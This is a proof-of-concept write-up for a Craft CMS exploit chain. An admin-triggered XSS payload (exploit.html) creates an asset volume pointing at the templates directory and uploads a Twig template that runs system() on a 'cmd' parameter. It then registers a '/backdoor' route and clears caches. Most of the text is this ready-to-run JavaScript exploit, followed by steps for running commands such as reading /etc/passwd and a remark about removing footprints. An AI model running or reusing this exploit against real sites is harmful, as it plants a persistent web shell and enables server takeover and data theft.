Found by 0xFFF member crypto

Overview:

CraftCMS allows users to upload files via its Asset field. But the storage feature known as volume within Craft CMS can be configured to point to any directory. This ability can be exploited to upload a twig template to the templates directory. By pointing a route to the uploaded malicious twig template, we get a successful Server Side Template Injection. Using filters, we can get out of the twig sandbox and get an Arbitrary Code Execution.

Proof-of-Concept:

The following files are used within this demonstration:

  • exploit.html – the PoC containing XSS payload to pop a shell
  • testpage.twig – the malicious twig template for SSTI
  • entrypage.twig – a twig template to show the link to the XSS payload

Note that any XSS on the website (even outside of the craftCMS installation itself, as long as it’s triggering within same DOM context, can lead to the RCE being triggered.

testpage.twig:

{% macro errorList(errors) %}
    {% if errors %}
        <ul class="errors">
            {% for error in errors %}
                <li>{{ error }}</li>
            {% endfor %}
        </ul>
    {% endif %}
{% endmacro %}

{% from _self import errorList %}

<form method="post" accept-charset="UTF-8" enctype="multipart/form-data">
    {{ csrfInput() }}
    <input type="hidden" name="action" value="guest-entries/save">
    <input type="hidden" name="sectionId" value="2">
    <input type="hidden" name="enabled" value="1">
    {{ redirectInput('{uri}') }}

    <label for="title">Title</label>
    <input id="title" type="text" name="title"
        {%- if entry is defined %} value="{{ entry.title }}"{% endif -%}>

    {% if entry is defined %}
        {{ errorList(entry.getErrors('title')) }}
    {% endif %}

    <input type="file" name="fields[asset]">
    <input type="submit" value="Publish">
</form>


entrypage.twig:

<h1>{{entry.title}}</h1>

{% set rel = entry.asset.one() %}
{% if rel %}
    <p><a href="{{ rel.url }}">{{ rel.filename }}</a></p>
{% endif %}

exploit.html:

<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script>

    // usage: exploitRCE()

    function exploitRCE(
        adminPanelUrl = '/index.php?p=admin/',
        adminPanelDefaultUrl = '/admin/',
        backdoor = 'backdoor',
        twigTemplateExt = "text/html",
        twigRCEPayload = `<p>{{ ([craft.request.getQuery('cmd')] | filter('system'))[0] }}</p>`,
        twigTemplateName = "template.html"
    ) {

scrapeData = function(featurePath, selector, callback, fallback) {
    $.get(featurePath, function (data) {
        callback($(selector, data));
    }).fail(fallback);
}

exploitCsrf = function(featurePath, callback, fallback) {
    scrapeData(featurePath, "input[name=CRAFT_CSRF_TOKEN]", function(data) {
        callback($(data[0]).val());
    }, fallback);
}

// create a volume
exploitCsrf(adminPanelDefaultUrl + 'settings/assets/volumes/new', function(csrf) {
    payload = "CRAFT_CSRF_TOKEN=" + csrf
    + "&action=volumes%2Fsave-volume"
    + "&redirect=e4acb1794adacc0aa0287b400df7cde18df030328e74447f4bd25d9e360a12a6settings%2Fassets"
    + "&name=maintenance-backups-temporary-directory"
    + "&handle=maintenanceBackupsTemporaryDirectory"
    + "&hasUrls="
    + "&url="
    + "&type=craft%5Cvolumes%5CLocal"
    + "&types%5Bcraft%5Cvolumes%5CLocal%5D%5Bpath%5D=%40config%2F..%2Ftemplates"
    + "&elementPlacements="
    + "&elementPlacements%5BContent%5D%5B%5D=izg2wreKxs"
    + "&elementConfigs%5Bizg2wreKxs%5D=%7B%22type%22%3A%22craft%5C%5Cfieldlayoutelements%5C%5CTitleField%22%2C%22autocomplete%22%3Afalse%2C%22class%22%3Anull%2C%22size%22%3Anull%2C%22name%22%3Anull%2C%22autocorrect%22%3Atrue%2C%22autocapitalize%22%3Atrue%2C%22disabled%22%3Afalse%2C%22readonly%22%3Afalse%2C%22title%22%3Anull%2C%22placeholder%22%3Anull%2C%22step%22%3Anull%2C%22min%22%3Anull%2C%22max%22%3Anull%2C%22requirable%22%3Afalse%2C%22id%22%3Anull%2C%22containerAttributes%22%3A%5B%5D%2C%22inputContainerAttributes%22%3A%5B%5D%2C%22labelAttributes%22%3A%5B%5D%2C%22orientation%22%3Anull%2C%22label%22%3Anull%2C%22instructions%22%3Anull%2C%22tip%22%3Anull%2C%22warning%22%3Anull%2C%22width%22%3A100%7D"

    $.ajax({
        url: adminPanelUrl + 'settings/assets/volumes/new',
        type: 'POST',
        data: payload,
        success: function(data) {
            // volume created successfully, now upload the twig template
            exploitCsrf(adminPanelDefaultUrl + 'assets/maintenanceBackupsTemporaryDirectory', function (csrf) {
                scrapeData(adminPanelDefaultUrl + 'assets/maintenanceBackupsTemporaryDirectory', "#sidebar a[data-volume-handle='maintenanceBackupsTemporaryDirectory']", function (rawData) {
                    fd = new FormData();
                    file = new Blob([twigRCEPayload], { name: twigTemplateName, lastModified: new Date().getTime(), webkitRelativePath: "", size: 33, type: twigTemplateExt });
                    fd.append('assets-upload', file, twigTemplateName);
                    fd.append('folderId', $(rawData[0]).attr('data-folder-id'));
                    fd.append('CRAFT_CSRF_TOKEN', csrf);
                    
                    $.ajax({ 
                        url: adminPanelUrl + 'actions/assets/upload',
                        type: 'post',
                        processData: false,
                        contentType: false,
                        dataType: 'json',
                        data: fd, 
                        success: function(response){ 
                            if(response.suggestedFilename) {
                                // Conflict in file name
                                twigTemplateName = response.suggestedFilename;
                            }
                            if(response.assetId) {
                                // payload injected successfully, final step create a backdoor url

                                // missing CSRF token on this endpoint, but just in case if there is a fix to this CSRF,
                                exploitCsrf(adminPanelDefaultUrl + 'settings/routes', function (csrf) {
                                    // check if route already exists at given endpoint
                                    scrapeData(adminPanelDefaultUrl + 'settings/routes', '.route', function(rawData) {
                                        $(rawData).each(function(i, el) {
                                            if(backdoor.trim() === $(el).find('.uri-container span.uri').text().trim()) {
                                                // route already exists, creating a random route
                                                backdoor = backdoor + parseInt(Math.random() * 10 ** 13);
                                            }
                                        });

                                        $.ajax({
                                            url: adminPanelUrl + 'actions/routes/save-route',
                                            type: 'post',
                                            headers: { 
                                                Accept : "application/json; charset=utf-8",
                                            },                                    
                                            data: "uriParts%5B0%5D="+ encodeURIComponent(backdoor) +"&template="+ twigTemplateName +"&CRAFT_CSRF_TOKEN=" + csrf,
                                            success: function (data) {
                                                if(data.success) {
                                                    // Route create successfully, final step, clear the cache
                                                    exploitCsrf(adminPanelDefaultUrl + 'utilities/clear-caches', function (csrf) {
                                                        // invalidate cache
                                                        $.ajax({
                                                            url: adminPanelUrl + 'utilities/invalidate-tags',
                                                            type: 'post',
                                                            data: 'action=utilities%2Finvalidate-tags&CRAFT_CSRF_TOKEN='+ csrf
                                                                    +'&tags%5B%5D=graphql&tags%5B%5D=template',
                                                            success: function (response) {
                                                                if(response.success) {
                                                                    // Payload injection complete, call backdoor to ping server about its existence
                                                                    $.ajax({
                                                                        url: adminPanelUrl + 'actions/utilities/clear-caches-perform-action',
                                                                        type: 'post',
                                                                        data: 'action=utilities%2Fclear-caches-perform-action'
                                                                            + '&CRAFT_CSRF_TOKEN='+ csrf
                                                                            +'&caches=*',
                                                                        success: function (response) {
                                                                            if(response.success) {
                                                                                // Payload injection complete, call backdoor to ping about its existence
                                                                                $.get(document.location.origin + '/' + backdoor + '?cmd=id', function () {
                                                                                    // successful exploitation, we can now upload a system level backdoor and remove the footprints

                                                                                });
                                                                            }
                                                                        }
                                                                    });
                                                                }
                                                            }
                                                        });
                                                    });
                                                    
                                                }
                                            }
                                        });
                                    });
                                })
                            }
                        }
                    });
                });
            });
        }
    });
});
}

exploitRCE();
</script>

So, here’s what’s happening:

  • Attacker uploads malicious twig template, resulting in SSTI
  • Attacker then uploads exploit.html

Once exploit.html is uploaded it should take you to the entry’s page where the link of the uploaded html file is visible. You can now trigger the XSS by visiting the link after logging in to the admin page.

  • Admin views exploit.html, triggering the XSS
  • payload in exploit.html executes, which then does the following:
  1. It creates a volume and points it to @config../templates. This is done so that we can upload the file to the templates directory.
  2. Uploads an svg file containing twig template which is allowed to be uploaded by default. The code within curly braces survives the SVG/XML Sanitization.
  3. Creates /backdoor route that loads the svg file which contains the twig template. There is another bug here. The form to create route is missing CSRF token which can allow an attacker to create routes by exploiting CSRF. But we already have an XSS so it is not interesting for this one.
  4. In the end, exploit removes the cache. (This should not be required but just in case).
  5. You can now visit the shell’s route and run commands via cmd query parameter ie. example.com/backdoor?cmd=cat%20/etc/passwd

Video Proof-of-Concept: